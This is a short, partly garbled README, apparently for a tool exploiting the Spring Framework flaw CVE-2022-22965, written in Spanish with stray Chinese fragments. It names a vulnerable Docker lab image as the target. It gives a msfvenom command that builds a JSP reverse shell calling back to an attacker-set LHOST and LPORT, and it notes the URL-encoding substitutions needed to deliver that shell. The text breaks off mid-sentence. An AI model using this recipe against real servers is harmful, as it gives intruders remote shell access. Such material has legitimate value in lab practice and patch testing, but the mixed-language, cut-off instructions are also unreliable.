Fast-CVE-2022-22965

Máquina objetivo docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest El núcleo del shell inverso se refiere a msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Después de codificar el JSP en URL, use %3C%25替换 %25%7Bc2%7Di 代表 En el código, se...